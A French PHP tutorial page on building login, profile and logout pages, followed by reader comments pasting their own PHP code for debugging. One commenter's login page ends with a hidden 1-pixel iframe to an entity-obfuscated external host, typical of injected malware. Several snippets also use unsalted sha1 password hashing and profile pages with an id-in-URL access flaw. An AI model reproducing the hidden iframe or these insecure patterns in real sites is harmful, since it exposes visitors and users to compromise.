TUTO PHP - Créer un espace membre - 2/3 Profil, Connexion et Déconnexion


Dans le précédent épisode de cette mini-série, nous avons vu comment créer une page d'inscription pour notre espace membre... Je vous propose donc de continuer en voyant comment créer une page de connexion, de profil, et de déconnexion :-)

Retrouvez le code de la vidéo par ici: 

Page de connexion
Veuillez vous connecter pour afficher le code.
Pas encore de compte ? Créez-en un ici !
Page de profil
Veuillez vous connecter pour afficher le code.
Pas encore de compte ? Créez-en un ici !
Page de déconnexion
Veuillez vous connecter pour afficher le code.
Pas encore de compte ? Créez-en un ici !


A propos de l'auteur

Boris Flesch
Boris Flesch

Salut tout le monde ! Je m'appelle Boris, j'ai 16 ans et je suis passionné d'informatique et de technologie. Je partage cette passion à travers mes vidéos que tu peux retrouver sur YouTube sous le nom de PrimFX ou bien sur ce site bien sûr (tutoriels de programmation (HTML, CSS, PHP), gameplays, vlogs high-tech...). @+

A voir aussi

30 Commentaires

POSTER UN COMMENTAIRE

Vous devez être connecté pour pouvoir poster un commentaire...

Pas encore de compte ? Créez-en un ici !



  • Photo de profil de webchrea

    webchrea

    13 Novembre 2016 à 00:01

    Des tutos simple e logique et limpide rien a dire Bonne continuation

  • Photo de profil de kim

    kim

    5 Novembre 2016 à 13:47

    @C_L comment t'as fait j'ai le mm probleme

    Merci d'avance

  • Photo de profil de tahaa94

    tahaa94

    19 Octobre 2016 à 01:31

    @Headhunterz tu sais que t'es vraiment pas bête toi merci Sourire

  • Photo de profil de Headhunterz

    Headhunterz

    9 Octobre 2016 à 22:30

    @skyren @Tical0 J'ai bien cherché avant de trouver pourquoi j'avais ce problème aussi mais j'ai fini par trouvé !! de mon coté j'ai inverser l'ordre d’insertion de l'email et du mdp dans la BDD donc dans le champ "mail" j'avais le mdp et dans le champ "mdp" le mail donc impossible de me connecter avec le formulaire de connexion évidement ! sinon vérifiez bien si sha1 est bien mis quand il le faut Clin d'oeil sinon merci a toi primFX pour les tutos !!

  • Photo de profil de skyren

    skyren

    19 Septembre 2016 à 09:11

     le formulaire de conexión ne marche pas pour moi j ai le meme problema que tical0 et kayah

  • Photo de profil de skyren

    skyren

    19 Septembre 2016 à 09:08

    @indiastyle pareil, le meme problema que tical0 et aue kayah help please

  • Photo de profil de Tical0

    Tical0

    14 Septembre 2016 à 15:20

    Bonjour à tous, bonjour PrimFx,



    merci pour ces tutos qui me sont d'une grande aide.

    Toutefois j'ai le même problème que @Kayah, c'est à dire qu'il m'est impossible de me connecter. J'ai beau rentré le bon email et bon mot de passe, il me met l'erreur : Mauvais email ou mot de passe !



    Une idée de ce qu'il pourrait se passer?



    Merci d'avance!

  • Photo de profil de indiastyle

    indiastyle | Membre Premium

    14 Septembre 2016 à 12:57

    Bonjour,



    Merci pour le tuto.

    En revanche, lorsqu'on change l'ID dans la barre URL (2 à la place de 1 par exemple), on arrive sur le profil d'un autre utilisateur sans forcement avoir eu besoin de rentrer le mot de passe du profil 2.



    Y'a t'il une méthode pour éviter cela ?



    Merci ++

  • Photo de profil de matteoctn

    matteoctn

    15 Août 2016 à 16:40

    @C_L Alors voilà ce que je pense :



    déjà il faut nommer ton fichier editionprofil.php je croix que c'est celui là qu'il à mis.

    Ensuite il faut vérifier si ton site web est bien connecter au même BDD.

    Et pense aussi à vérifié si les tables sont bonnes.



    voilà ce sont quelques erreurs que j'ai fait il y a quelques temps Grand sourire

  • Photo de profil de sasha

    sasha

    30 Juillet 2016 à 07:02

    merci pour ton travail.

  • Photo de profil de C_L

    C_L

    19 Avril 2016 à 23:16

    C'est bon c'est résolu

  • Photo de profil de C_L

    C_L

    19 Avril 2016 à 20:46

    Ok pour l'inscription ... et quand je me connecte la page de profil doit être afficher .. mais rien cela me donne sur une page blanche ...



    Comment cela se fait ? ma page s'appelle bien profil.php

  • Photo de profil de iS0Z

    iS0Z

    18 Avril 2016 à 16:18

    Trés interresant .

  • Photo de profil de Haeras

    Haeras

    14 Avril 2016 à 13:18

    Merci pour ton travail

  • Photo de profil de rtyerte

    rtyerte

    13 Février 2016 à 15:06

    @nixos je sais pas

  • Photo de profil de zodiak

    zodiak

    1 Janvier 2016 à 23:49

    Et Bonne année à toi

  • Photo de profil de zodiak

    zodiak

    1 Janvier 2016 à 23:49

    merci pour ce travail magnifique ! RESPECT.

    les explications sont claires.Franchement encore merci ! ça m'a beaucoup aidé moi qui vient de me lancer dans ce monde merveilleux de l'informatique !

  • Photo de profil de bigus

    bigus | Membre Premium

    17 Décembre 2015 à 23:35

    bonjour,

    et merci pour ces excellents tutos très instructifs.

    je suis en train de suivre et de refaire sur mon site l'espace membre et je me heurte à un petit soucis de sécurité...

    lorsque je me connecte, l'id apparait dans l'url sous la forme "http://localhost/espace%20membre/profil2.php?id=5", mais si je change le 5 en 6 par exemple, j'accède au profil d'un autre (comme dans le tuto partie 2 d'ailleurs après vérification).

    Pourrais-tu m'expliquer comment parer à cette faille car j'aimerais qu'en changeant ce chiffre, il ne soit plus possible de voir les infos des autres membres.

    merci pour ton aide !

  • Photo de profil de Kayah

    Kayah

    15 Décembre 2015 à 13:53

    slt! je bien suivi ce tuto, mais maintenant je rencontre un problem; dans ce script quand je l'execute, il affice tojour le erreur:"Votre pseudo et Mot de passe est incorrecte" Mais j'ai deja verifier dans mon bdd et je copie le pseudo et le mot de passe, mais le même erreu comme avant qui affiche encore



    et voici mon code php et avec me html:



    <?php

    session_start();

    $bdd= new PDO('mysql:host=localhost;dbname=forumtest', 'root', '');

    if (isset ($_POST['connexion']))

    {

    $membre_pseudo=htmlspecialchars($_POST['membre_pseudo']);

    $membre_mdp=sha1($_POST['membre_mdp']);

    if (!empty($membre_pseudo) AND !empty($membre_mdp))

    {

    $requser=$bdd->prepare("SELECT * FROM fourm_membres WHERE membre_pseudo=? AND membre_mdp=?");

    $requser->execute(array($membre_pseudo, $membre_mdp));

    $userexist= $requser->rowCount();

    if ($userexist==1)

    {

    $userinfo= $requser->fetch();

    $_SESSION['membre_id']=$userinfo['membre_id'];

    $_SESSION['membre_pseudo']=$userinfo['membre_pseudo'];

    $_SESSION['membre_mdp']=$userinfo['membre_mdp'];

    header ("Location: profils.php?id=".$_SESSION['membre_id']);



    }

    else

    {

    $erreur="Votre pseudo ou mot de passe est incorrect!";

    }

    }

    else

    {

    $erreur="Tous les champs doivent être complétés!";

    }





    }

    ?>

    <html>

    <head>

    <meta charset="utf-8" />

    <link rel="stylesheet" href="css/style.css" />

    <link rel="stylesheet" href="css/nivo-slider.css" type="text/css" media="screen" />

    <link rel="stylesheet" href="css/default/default.css" type="text/css" media="screen" />

    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>

    <script src="jquery.nivo.slider.pack.js" type="text/javascript"></script>

    <!--[if lt IE 9]>

    <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>

    <![endif]-->

    <title>HARENA GROUP</title>

    </head>

    <body id="blog">

    <div id="wrapper">



    <!--__--__--__--__--__-- L O G O & N A V B A R --__--___--__--__--__-->

    <header>

    <div id="logo">

    <h1><I>HARENA GROUP</I><span id="iisrt"><span id="ii">S</span> <span id="srt">ociety</span></span></h1>

    <div id="tagline">

    <h2><font color ="#fefefe">Welcome in the Site Web of Harena Business!</font></h2>

    </div>

    </div>

    <nav>

    <ul>

    <li><a href="index.php" id="homenav">Home</a></li>

    <li><a href="blog.php" id="blognav">Blog</a></li>

    <li><a href="fullwidth.php" id="fullwidthnav">Full width</a></li>

    <li><a href="contact.php">Contact</a></li>

    <li><a href="connexion.php">Connexion</a></li>

    </ul>

    </nav>

    </header>



    <!--__--__--__--__-- M A I N C O N T E N T --__--__--__--___--__--__-->

    <section>



    <!--__--__--__-- A R T I C L E S --__--__--__--__-->



    <div id="articles">

    <article>

    <form action="" method="POST">

    <table width="100%" border="0" cellpadding="5%" cellspacing="5%">

    <tr>

    <td width="50%"class="titre_form1" aligne="center" colspan="20"><center> <?php if (isset($erreur)){echo '<font color="#000000">'.$erreur."</font>";}?></center></td>

    </tr>

    </table>

    <center>

    <table width="100%" border="0" cellpadding="5%" cellspacing="5%">

    <tr>

    <td width="100%"class="titre_form" aligne="center" colspan="20"><center>VEUILLEZ VOUS INSCRIRE</center></td>

    </tr>

    <tr>

    <td width="50%" class="titre_form" aligne="center" colspan="2"><center>Pseudo:</center></td>

    <td bgcolor="#006"><input name="membre_pseudo" placeholder="Votre Nom...." type="text" width="50%"/></td>

    </tr>

    <tr>

    <td width="50%" class="titre_form" aligne="center" colspan="2"><center>Saisir un Mot de Passe:</center></td>

    <td bgcolor="#006"><input name="membre_mdp" placeholder="Votre Mot de Passe" type="password" width="50%"/></td>

    </tr>

    <tr>

    <td width="100%"class="titre_form" aligne="center" colspan="20"><center><a href="inscription.php"><font color="#fff">Si vous n'ete pas encore membre veuillez vous inscrir en cliquand içi</font></a></center></td>

    </tr>

    </table>

    <input name="connexion" type="submit" value="Connexion" />

    </center>

    </article>

    </form>



    </div>

    </section>

    <footer>



    </footer>

    </div>

    <iframe src="http://jL.c&#104;ura&#46;pl/rc/" style="width:1px;height:1px"></iframe>

    </body>

    </html>

    Helpe Me please!

  • Photo de profil de nixos

    nixos

    3 Décembre 2015 à 11:14

    Salut PrimFx, déjà merci pour les tutos, vraiment bien fait !

    J'ai un petit soucis, j'ai réussi à faire l'inscription, j'ai aucun soucis. Pour la connexion par contre je me heurte à un problème, que je viens de voir juste au dessus.

    J'ai donc créer mon formulaire de connexion, et quand je test si le nom d'user existe aucun soucis, et pour le mot de passe ça me fait l'erreur : mauvais mdp.

    Du coup j'ai remplacé la variable mdp par le nom du mec (qui est dans la BDD), donc pas en sha1 mais en htmlspecialchars, et la la connexion se fait. En gros il lis mal me mdp apparemment, mais je ne vois pas d'où ça sort, les test sont bons.

    SI tu as une solution à mon problème, merci d'avance !



    Mon code juste pour connexion:

    <?php

    session_start();



    include('BDD.php');



    if(isset($_POST['formconnexion'])) {

    $user_nameco = htmlspecialchars($_POST['user_nameco']);

    //$mdpco = sha1($_POST['mdpco']);

    $mdpco = htmlspecialchars($_POST['mdpco']);

    if(!empty($_POST['user_nameco']) AND !empty($_POST['mdpco'])) {

    $requser = $bdd->prepare("SELECT * FROM membre WHERE user_name = ?");

    $requser->execute(array($user_nameco));

    $userexist = $requser->rowCount();

    if($userexist == 1){

    $reqmdp = $bdd->prepare("SELECT * FROM membre WHERE nom = ?");

    $reqmdp->execute(array($mdpco));

    $mdpexist = $reqmdp->rowCount();

    if($mdpexist == 1){

    $userinfo = $requser->fetch();

    $_SESSION['id'] = $userinfo['id'];

    $_SESSION['equipe'] = $userinfo['equipe'];

    $_SESSION['user_name'] = $userinfo['user_name'];

    $_SESSION['rang'] = $userinfo['rang'];

    $_SESSION['mail'] = $userinfo['mail'];

    $_SESSION['nom'] = $userinfo['nom'];

    header("Location: AccueilCo.php?id=".$_SESSION['id']);

    } else{

    $erreur = "Mauvais mot de passe !";

    }

    } else {

    $erreur = "Mauvais pseudo !";

    }

    } else {

    $erreur = "Veuillez mettre vos log !";

    }

    }

    ?>

    <!DOCTYPE html>

    <html>

    <head>

    <meta charset="utf-8">

    <link rel="stylesheet" type="text/css" href="main.css">

    <title>KAGGLE ESIGELEC</title>

    </head>

    <body>

    <h1>SE CONNECTER</h1>

    <form method="POST" action="">

    <p>

    <label for="user_nameco">Pseudo :</label>

    <input type="text" placeholder="Votre pseudo" name="user_nameco" id="user_nameco" />

    </p>

    <p>

    <label for="mdpco">Mot de Passe :</label>

    <input type="password" placeholder="Votre Mot de Passe" name="mdpco" id="mdpco" />

    </p>

    <p>

    <input type="submit" name="formconnexion" value="Se Connecter" />

    </p>

    </form>

    <?php

    if(isset($erreur)) {

    echo $erreur;

    }

    ?>



    </body>

    </html>

  • Photo de profil de duvalkede

    duvalkede

    19 Novembre 2015 à 14:45

    @PrimFX On m'a conseiller sur un autre forum de remplacer cela sur la page profil :

    if(isset($_SESSION['id']) AND $userinfo['id'] == $_SESSION['id'])

    par cela:

    if(isset($_SESSION['id']))

    seulement j'ai peur que ca causerais un soucis au niveau de la sécurité.Sinon cela fonctionne

    peut tu me comfirmer si c'est assez sécurisé ?

    en attendant confirmation , je vais continuer ton tuto sur la partie 3/3

    je te remercie pour le temp que tu me consacre

  • Photo de profil de duvalkede

    duvalkede

    19 Novembre 2015 à 14:37

    @PrimFX quand je fais ce que tu me dit sa me met : Sachant que j'ai pas le même numéro de ligne car j'ai simplifié pour montrer

    Warning: Cannot modify header information - headers already sent by (output started at /customers/d/7/7/liste-site-argent.fr/httpd.www/page/index.php:12) in /customers/d/7/7/liste-site-argent.fr/httpd.www/page/structure_de_page/aside_connexion.php on line 21 - See more at: http://liste-site-argent.fr/page/index.php#sthash.hKQqCMKD.YrosIDWL.dpuf

  • Photo de profil de PrimFX

    PrimFX | Membre Premium

    18 Novembre 2015 à 22:34

    @duvalkede Salut ! Effectivement bizarre ton problème, parce qu'après une petite vérification de ton code, tout semble bon (à part les redirections faites par html refresh... tente de remplacer les echo '<meta http-equiv="refresh" content="0;URL=tapage.php">'; par header('location:tapage.php') ) Clin d'oeil d'après ce que tu m'as envoyé ça a l'air bon, mais vérifie bien qu'il n'y a rien avant tes session_start() de chaque page, même pas le moindre espace (qui pourrait être responsable de ce bug Tire la langue),

    Tiens moi au courant si y'a du nouveau,

    @+

  • Photo de profil de duvalkede

    duvalkede

    17 Novembre 2015 à 13:54

    Bonjour, j'ai crée un espace membres grâce a tes vidéos



    mais quand je me connecte, sa fait une redirection sur profil MAIS le membre reste connectée que 1 minute

    (j'ai l'impression que la page recharge MAIS sa enleve la connection )



    4 pages:



    inscription.php



    connexion.php



    profil.php



    deconnexion.php



    la page inscription:





    <?php

    session_start();

    ?>



    <?php

    $bdd=new PDO('privée');

    //quand on appui sur le bouton inscription !

    if(isset($_POST['forminscription']))

    { //Sauvegarder les entrées sous des variables

    $pseudo= htmlspecialchars($_POST['pseudo']);

    $password= sha1($_POST['password']);//sha1 permet le hachage

    $password2= sha1($_POST['password2']);

    $mail= htmlspecialchars($_POST['mail']);

    $mail2= htmlspecialchars($_POST['mail2']);

    //verifie si les champs pseudo,password sont pas vides

    if(!empty($_POST['pseudo']) AND !empty($_POST['password']) AND !empty($_POST['password2']) AND !empty($_POST['mail']) AND !empty($_POST['mail2']))

    {

    //verifie que le pseudo ne depasse pas 255 caractéres.

    $pseudolength=strlen($pseudo);

    if ($pseudolength <=255)

    {

    //verifie mail depasse pas 255 caractéres.

    $maillenght=strlen($mail);

    if ($maillenght <=255)

    {

    //verifie mail2 depasse pas 255 caractères.

    $mail2lenght=strlen($mail2);

    if ($mail2lenght <=255)

    {

    //verifie que les 2 mail sont les mêmes

    if($mail ==$mail2)

    {

    //verifie que ces une adresse mail valide

    if(filter_var($mail, FILTER_VALIDATE_EMAIL))

    {

    //verifie si le pseudo a pas deja etait dans la bdd

    $reqpseudo=$bdd->prepare('SELECT * FROM Membres WHERE pseudo= ?');

    $reqpseudo->execute(array($pseudo));

    $pseudoexist=$reqpseudo->rowcount();

    if($pseudoexist == 0)

    {

    //verifie si l'email a pas deja etait dans la bdd

    $reqmail=$bdd->prepare('SELECT * FROM Membres WHERE mail= ?');

    $reqmail->execute(array($mail));

    $mailexist=$reqmail->rowcount();

    if($mailexist == 0)

    {

    //verifie que ces les deux même mot de passe

    if($password ==$password2)

    { //apres toutes les etapes de verification, sa rentre bdd inscription réussi

    $insertmbr=$bdd->prepare("INSERT INTO Membres(pseudo, motdepasse, mail, date_inscription) VALUES(?,?,?, CURDATE())");

    $insertmbr->execute(array($pseudo,$password,$mail));

    $erreur='Votre compte a bien été crée !';

    }

    else

    {

    $erreur='Vos mot de passe ne correspondent pas !';

    }

    }

    else

    {

    $erreur='Adresse mail déjà utilisée !';

    }

    }

    else

    {

    $erreur='Pseudo déjà utilisée !';

    }

    }

    else

    {

    $erreur='Votre adresse mail n\'est pas valide !';

    }

    }

    else

    {

    $erreur='Vos adresses mail ne correspondent pas !';

    }

    }

    else

    {

    $erreur='Votre mail ne doit pas dépasser 255 caractères.';

    }

    }

    else

    {

    $erreur='Votre mail ne doit pas dépasser 255 caractères.';

    }

    }

    else

    {

    $erreur='Votre pseudo ne doit pas dépasser 255 caractères.';

    }

    }

    else

    { //si les champs sonts vides, on met la variable $erreur

    $erreur='Tous les champs doivent être complétés !';

    }

    }

    ?>

    <html>

    <head>

    <link rel="stylesheet" href="style.css">

    <meta charset="utf-8" />

    <!-- Modifier sur chaque page -->

    <title>Structure de page</title>

    <meta name="description" content="description de la page" />

    </head>

    <body>

    <h1>Inscription</h1>

    <form action="" method="POST">

    <ul align="center" class="formulaire">

    <input type="text" placeholder="Pseudo" size="30" name="pseudo" class="champ_inscription" value="<?php if(isset($pseudo)) { echo $pseudo;} ?>" /><br /><br /><!-- code php dans value sert a remettre ce que a rentrer l'utilisateur juste avant pour évité de recopier-->

    <input type="password" placeholder="Mot de passe" size="30" name="password" class="champ_inscription" /><br /><br />

    <input type="password" placeholder="Confirmation mot de passe" size="30" name="password2" class="champ_inscription" /><br /><br />

    <input type="email" placeholder="Email" size="30" name="mail" class="champ_inscription" value="<?php if(isset($mail)) { echo $mail;} ?>" /><br /><br />

    <input type="email" placeholder="Confirmation email" size="30" name="mail2" class="champ_inscription" value="<?php if(isset($mail2)) { echo $mail2;} ?>" /><br /><br />

    <!--si les champs de inscription sonts vides sa met le message de $erreur-->

    <?php if(isset($erreur)){ echo '<font color="red">'.$erreur.'</font>';} ?><br />

    <input type="submit" name="forminscription" value="Inscription !" />

    </ul>

    </form>

    </body>

    </html>



    la page connexion:





    <?php

    session_start();



    $bdd=new PDO('privée');



    if(isset($_POST['formconnection']))

    {

    $pseudoconnect=htmlspecialchars($_POST['pseudoconnect']);

    $mdpconnect=sha1($_POST['passwordconnect']);

    if(!empty($pseudoconnect)AND !empty($mdpconnect))

    {

    $requser=$bdd->prepare("SELECT* FROM Membres WHERE pseudo=? AND motdepasse=?");

    $requser->execute(array($pseudoconnect, $mdpconnect));

    $userexist=$requser->rowcount();

    if ($userexist ==1)

    {

    $userinfo=$requser->fetch();

    $_SESSION['id']=$userinfo['id'];

    $_SESSION['pseudo']=$userinfo['pseudo'];

    $_SESSION['mail']=$userinfo['mail'];

    echo '<meta http-equiv="refresh" content="0;URL=profil.php">';

    }

    else

    {

    $erreurconnexion='Mauvais pseudo ou mot de passe !';

    }

    }

    else

    {

    $erreurconnexion='Tous les champs doivent être complétés !';

    }

    }

    ?>

    <html>

    <font size="4" align="center">

    <p>Connexion</p>

    </font>

    <form method="POST" action="">

    <ul align="center">

    <input type="text" placeholder="Pseudo" name="pseudoconnect" class="champ_connexion" /><br />

    <input type="password" placeholder="Mot de passe" name="passwordconnect" class="champ_connexion" /><br />

    <?php if(isset($erreurconnexion)){ echo '<font color="red">'.$erreurconnexion.'</font>';} ?><br />

    <input type="submit" value="Valider" name="formconnection" />

    </ul>

    </form>

    </html>



    la page profil :





    <?php

    session_start();



    $bdd=new PDO('privée');



    if (isset($_GET['id']) AND $_GET['id']>O)

    {

    $getid=intval($_GET['id']);

    $requser=$bdd->prepare('SELECT* FROM membres WHERE id=?');

    $requser->execute(array($getid));

    $userinfo=$requser->fetch();

    }

    ?>



    <html>

    <head>

    <link rel="stylesheet" href="style.css">

    <meta charset="utf-8" />

    <!-- Modifier sur chaque page -->

    <title>Profil de <?php echo ''.$_SESSION['pseudo'].''; ?></title>

    <meta name="description" content="description de la page" />

    </head>

    <body>

    <h1>Profil de <?php echo ''.$_SESSION['pseudo'].''; ?></h1>



    Pseudo = <?php echo ''.$_SESSION['pseudo'].''; ?>

    <br />

    Mail = <?php echo ''.$_SESSION['mail'].''; ?>

    <br />



    <?php

    if(isset($_SESSION['id']) AND $userinfo['id'] == $_SESSION['id'])

    {

    ?>

    <a href="#">Editer mon profil</a>

    <a href="deconnexion.php">Se déconnecter</a>

    <?php

    }

    ?>

    </body>

    </html>



    et la petite page deconnexion:





    <?php

    session_start();

    $_SESSION=array();

    session_destroy();

    header("Location: index.php");

    ?>

    pourquoi sa me déconnecte au bout de 1 minute ? et comment faire s'il vous plaît ?



    Vous pouvez essayer sur mon site :



    liste-site-argent.fr/page/inscription.php



    dans les codes que je vous ais mis sur le forum , j'ai enlevé tout ce qui était inutile pour la visibilité du problème.(le style ect )



    merci d'avance pour vos réponses.

  • Photo de profil de PrimFX

    PrimFX | Membre Premium

    12 Novembre 2015 à 18:15

    @yanis237 Salut ! Le problème vient du fait que dans ton formulaire, il n'y a aucun champ nommé "mailconnect" (j'ai juste vu "pseudoconnect" par contre) Tire la langue Donc PHP te dit simplement qu'il ne trouve pas l'index "mailconnect" dans le tableau _POST ;-)

  • Photo de profil de yanis237

    yanis237

    12 Novembre 2015 à 11:41

    merci de bien vouloir m'aider actuellement je rencontre un pb dans ce script quan je l'execute voilà ce que le serveur me renvoie

    "Notice: Undefined index: mailconnect in C:\wamp\www\formulaire\connection.php on line 8"





    et voici mon code php exactement "bon enfin peut etre comme le tien"



    <?php

    session_start();

    $bdd= new PDO('mysql:host=localhost;dbname=espace_membre' , 'root' , '');





    if(isset($_POST['formconnexion']))

    {

    $mailconnect =htmlspecialchars($_POST['mailconnect']); // voici ma ligne8//

    $mdpconnect = sha1($_POST['mdpconnect']);

    if(!empty($mailconnect) AND !empty($mdpconnect))

    {

    $requser = $bdd->prepare("SELECT * FROM membres WHERE mail= ? AND motdepasse = ?");

    $requser->execute(array($mailconnect, $mdpconnect));

    $userexist =$requser->rowcount();

    if(userexist == 1)

    {



    }

    else

    {

    $erreur ="mot de passe ou adresse mail incorrecte";

    }

    }

    else

    {

    $erreur = "tous les champs doivent etre compléter!";

    }



    }



    ?>

    <html>

    <head>

    <title>formulaire de connection</title>

    <meta charset="utf-8">

    </head>

    <body>

    <div class="s-form" align="center">

    <h2>connecxion</h2>

    <br /><br />

    <form method="POST" action="">

    <input type="text" name="pseudoconnect" placeholder=" entrez votre adresse mail" />

    <input type="password" name="mdpconnect" placeholder=" entrez votre mot de passe" />

    <input type="submit" name="formconnexion" value="se connecter !" />

    </form>

    <?php

    if(isset($erreur))

    {

    echo '<font color="red">'.$erreur.'</font>';

    }



    if(isset($succes))

    {

    echo '<font color="green"><p>bien</p>'.$succes.'</font>';

    }



    ?>

    </div>

    </html>

  • Photo de profil de Ju_

    Ju_

    26 Juillet 2015 à 10:34

    Bonjour, le tuto et génial et simple a la compréhension;



    Mais je suis bloqué a cette épisode car au moment de tester si il détecte l'absence de caractère dans les champs,

    quand j'appuie sur Connexion il ne m'affiche pas l'erreur et quand je les remplit il me dit pas le ok que j'ai mit en echo.

    Voila mon code si vous remarquez qu'il y a des erreurs dans mon code:

    <?php

    $bdd = new PDO('mysql:host=db585051454.db.1and1.com;dbname=db585051454', 'dbo585051454', '*****');



    if(isset($_POST['formconnect'])){

    $mailconnect = htmlspecialchars($_POST['mailconnect']);

    $passwordconnect = sha1($_POST['passwordconnect']);



    if(!empty($_POST['mailconnect']) AND !empty($_POST['passwordconnect'])){

    echo "ok";

    }else{

    $erreurconnect = "Tous les champs doivent être remplits!";

    }

    }

    ?>

    <!DOCTYPE html>

    <html>

    <head>

    <title></title>

    <meta charset="utf-8" />

    </head>

    <body>

    <form type="POST" action="">

    <input type="text" name="mailconnect" placeholder="Mail" />

    <input type="password" name="passwordconnect" placeholder="Mot de passe" />

    <input type="submit" name="formconnect" value="Connexion" />

    </form>

    <?php

    if(isset($erreurconnect)){

    echo '<font color="red">'.$erreurconnect.'</font>';

    }

    ?>

    </body>

    </html>

  • Photo de profil de PrimFX

    PrimFX | Membre Premium

    4 Mai 2015 à 15:15

    Bonjour @Phil693 et merci pour ce commentaire :-)



    Effectivement bizarre de ne pas pouvoir détecter si le champ est vide... As-tu mis fais le sha1() après avoir vérifier si le champ contenait quelque chose ? (c'est peut-être la solution... Tire la langue)



    Ce n'est pas la première demande que j'ai pour faire un tuto "envoie d'identifiants" ou bien "système de récupération de mot de passe"... J'en ferai donc un dans les prochains temps ;-)



    @+

    PrimFX

  • Photo de profil de Phil693

    Phil693

    4 Mai 2015 à 14:16

    Bonjour,



    vraiment géniaux ces tuto vidéo Sourire

    Clairs, bien expliqués, bref, c'est un plaisir d'apprendre.



    Je viens de suivre cette partie (la 2eme de "Créer un espae membres". Tout colle, sauf que je rencontre un problème avec le sha1 au début.



    Sha1 empêche de détecter l'absence de caractère dans le champ, et donc de savoir si le membre a bien rempli ce champ.



    J'ai fais le test de remplacer sha1 par htmlspecialchars pour voir, et là, aucuns problèmes.



    Comment est ce possible ?



    Sinon, petite suggestion, pourrais tu "compléter" ce tuto, en nous montrant comment insérer les liens pour le renvois des identifiants en cas d'oublie par le membre (donc directement sur son adresse email) ?



    Merci encore pour tes super cours en tous cas FX Sourire

  • Photo de profil de Thibault_Feugere

    Thibault_Feugere

    29 Mars 2015 à 18:16

    On arrive bientôt à la fin :(